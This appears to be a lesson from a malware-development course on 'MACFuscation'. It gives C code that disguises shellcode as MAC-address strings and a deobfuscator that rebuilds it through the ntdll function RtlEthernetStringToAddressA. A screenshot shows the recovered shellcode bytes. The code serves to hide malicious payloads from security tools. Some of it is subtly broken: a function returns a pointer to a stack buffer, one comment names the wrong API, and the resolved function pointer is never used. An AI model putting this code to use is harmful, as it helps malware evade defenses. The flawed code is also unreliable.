

# Payload Obfuscation - MACFuscation

## Introduction

This module will go through another obfuscation technique that is similar to IPv4/IPv6fuscation but instead converts shellcode to MAC addresses.

## MACFuscation Implementation

The implementation of MACFuscation will be similar to what was done in the previous module with IPv4/IPv6fuscation. A MAC address is made up of 6 bytes, therefore the shellcode should be a multiple of 6, which again can be padded if it doesn't meet that requirement.

```
// Function takes in 6 raw bytes and returns them in a MAC address
string format
char* GenerateMAC(int a, int b, int c, int d, int e, int f) {
    char Output[64];

    // Creating the MAC address and saving it to the 'Output'
variable
    sprintf(Output, "%0.2X-%0.2X-%0.2X-%0.2X-%0.2X-%0.2X",a, b, c, d,
e, f);

    // Optional: Print the 'Output' variable to the console
    // printf("[i] Output: %s\n", Output);

    return (char*)Output;
}

// Generate the MAC output representation of the shellcode
// Function requires a pointer or base address to the shellcode
buffer & the size of the shellcode buffer
BOOL GenerateMacOutput(unsigned char* pShellcode, SIZE_T
ShellcodeSize) {

    //If the shellcode buffer is null or the size is not a multiple
```

```

of 6, exit
    if (pShellcode == NULL || ShellcodeSize == NULL || ShellcodeSize
% 6 != 0){
        return FALSE;
    }
    printf("char* MacArray [%d] = {\n\t", (int)(ShellcodeSize / 6));

    // We will read one shellcode byte at a time, when the total is
6, begin generating the MAC address
    // The variable 'c' is used to store the number of bytes read. By
default, starts at 6.
    int c = 6, counter = 0;
    char* Mac = NULL;

    for (int i = 0; i < ShellcodeSize; i++) {

        // Track the number of bytes read and when they reach 6 we
enter this if statement to begin generating the MAC address
        if (c == 6) {
            counter++;

            // Generating the MAC address from 6 bytes which begin
at i until [i + 5]
            Mac = GenerateMAC(pShellcode[i], pShellcode[i + 1],
pShellcode[i + 2], pShellcode[i + 3], pShellcode[i + 4], pShellcode[i
+ 5]);

            if (i == ShellcodeSize - 6) {

                // Printing the last MAC address
                printf("\'%s\'", Mac);
                break;
            }
            else {
                // Printing the MAC address
                printf("\'%s\'", Mac);
            }
            c = 1;

            // Optional: To beautify the output on the console
            if (counter % 6 == 0) {
                printf("\n\t");
            }

```

```

    }
    else {
        c++;
    }
}
printf("\n};\n\n");
return TRUE;
}

```

## Deobfuscating MACFuscation Payloads

The deobfuscation process will reverse the obfuscation process, allowing a MAC address to generate bytes instead of using bytes to generate a MAC address. Performing deobfuscation will require the use of the NTDLL API function [RtlEthernetStringToAddressA](#). This function converts a MAC address from a string representation to its binary format.

```

typedef NTSTATUS (NTAPI* fnRtlEthernetStringToAddressA)(
    PCSTR      S,
    PCSTR*     Terminator,
    PVOID      Addr
);

BOOL MacDeobfuscation(IN CHAR* MacArray[], IN SIZE_T NmbrOfElements,
OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {

    PBYTE      pBuffer      = NULL,
               TmpBuffer    = NULL;

    SIZE_T     sBuffSize    = NULL;

    PCSTR      Terminator   = NULL;

    NTSTATUS   STATUS       = NULL;

    // Getting RtlIpv6StringToAddressA address from ntdll.dll
    fnRtlEthernetStringToAddressA pRtlEthernetStringToAddressA =
(fnRtlEthernetStringToAddressA)GetProcAddress(GetModuleHandle(TEXT("N
TDLL")), "RtlEthernetStringToAddressA");
    if (pRtlEthernetStringToAddressA == NULL) {
        printf("[!] GetProcAddress Failed With Error : %d \n",

```

```

GetLastError());
    return FALSE;
}

// Getting the real size of the shellcode which is the number of
MAC addresses * 6
sBuffSize = NmbrOfElements * 6;

// Allocating memeory which will hold the deobfuscated shellcode
pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), 0, sBuffSize);
if (pBuffer == NULL) {
    printf("[!] HeapAlloc Failed With Error : %d \n",
GetLastError());
    return FALSE;
}

TmpBuffer = pBuffer;

// Loop through all the MAC addresses saved in MacArray
for (int i = 0; i < NmbrOfElements; i++) {

    // Deobfuscating one MAC address at a time
    // MacArray[i] is a single Mac address from the array
MacArray
    if ((STATUS = RtlEthernetStringToAddressA(MacArray[i],
&Terminator, TmpBuffer)) != 0x0) {
        // if it failed
        printf("[!] RtlEthernetStringToAddressA Failed At [%s]
With Error 0x%0.8X", MacArray[i], STATUS);
        return FALSE;
    }

    // 6 bytes are written to TmpBuffer at a time
    // Therefore Tmpbuffer will be incremented by 6 to store the
    TmpBuffer = (PBYTE)(TmpBuffer + 6);

}

// Save the base address & size of the deobfuscated payload
*ppDAddress = pBuffer;
*pDSize = sBuffSize;

```

```
return TRUE;
```

```
}
```

The image below shows the deobfuscation process successfully running.

```
BOOL MacDeobfuscation(IN CHAR* MacArray[], IN SIZE_T NbrOfElements, OUT PBYTE* ppDAddress, OUT SIZE_T* pDSize) {  
  
    PBYTE    pBuffer = NULL,  
            TmpBuffer = NULL;  
  
    SIZE_T    sBuffSize = NULL;  
  
    PCSTR     Terminator = NULL;  
  
    NTSTATUS  STATUS = NULL;  
  
    // getting RtlEthernetStringToAddressA address from ntdll.dll  
    fnRtlEthernetStringToAddressA pRtlEthernetStringToAddressA = (fnRtlEthernetStringToAddressA)G  
    if (pRtlEthernetStringToAddressA == NULL) {  
        printf(_Format: "[!] GetProcAddress Failed With Error : %d \n", GetLastError());  
        return FALSE;  
    }  
  
    // getting the real size of the shellcode (number of elements * 6 => original shellcode size)  
    sBuffSize = NbrOfElements * 6;  
  
    // allocating mem, that will hold the deobfuscated shellcode  
    pBuffer = (PBYTE)HeapAlloc(hHeap::GetProcessHeap(), dwFlags:0, dwBytes:sBuffSize);  
    if (pBuffer == NULL) {  
        printf(_Format: "[!] HeapAlloc Failed With Error : %d \n", GetLastError());  
        return FALSE;  
    }  
  
    TmpBuffer = pBuffer;  
  
    // loop through all the addresses saved in MacArray  
    for (int i = 0; i < NbrOfElements; i++) {  
        // MacArray[i] is a single Mac address from the array pAddress  
        if ((STATUS = pRtlEthernetStringToAddressA(MacArray[i], &Terminator, TmpBuffer)) != 0x0) {  
            // if failed ...  
            printf(_Format: "[!] RtlEthernetStringToAddressA Failed At [%s] With Error 0x%0.8X", MacArray[i], STATUS);  
            return FALSE;  
        }  
  
        // tmp buffer will be used to point to where to write next (in the newly allocated memory)  
        TmpBuffer = (PBYTE)(TmpBuffer + 6);  
    }  
}
```

C:\Users\User\source\repos\Lesson2\64\Debug\MacDeobfuscation.exe  
[+] Deobfuscated Bytes at 0x000001745F434FA0 of Size 276 :::  
  
FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51  
56 48 31 D2 65 48 88 52 60 48 88 52 18 48 88 52  
20 48 88 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0  
AC 3C 61 7C 02 2C 20 41 C1 C9 0D 41 01 C1 E2 E0  
52 41 51 48 88 52 20 8B 42 3C 48 01 D0 8B 80 88  
00 00 00 48 85 C0 74 67 48 01 D0 50 8B 48 18 44  
8B 40 20 49 01 D0 E3 56 48 FF C9 41 8B 34 8B 48  
01 D6 4D 31 C9 48 31 C0 AC 41 C1 C9 0D 41 01 C1  
38 E0 75 F1 4C 03 4C 24 08 45 39 D1 75 D8 58 44  
8B 40 24 49 01 D0 66 41 8B 0C 48 44 8B 40 1C 49  
01 D0 41 8B 04 8B 48 01 D0 41 58 41 58 5E 59 5A  
41 58 41 59 41 5A 48 83 EC 20 41 52 FF E0 58 41  
59 5A 48 8B 12 E9 57 FF FF FF 5D 48 BA 01 00 00  
00 00 00 00 48 8D 8D 01 01 00 00 41 BA 31 8B  
6F 87 FF D5 BB E8 1D 2A 0A 41 BA A6 95 BD 9D FF  
D5 48 83 C4 28 3C 06 7C 0A 80 FB E0 75 05 BB 47  
13 72 6F 6A 00 59 41 89 DA FF D5 63 61 6C 63 00  
00 00 00 00  
[#] Press <Enter> To Quit ...

Previous

Modules

Complete

Next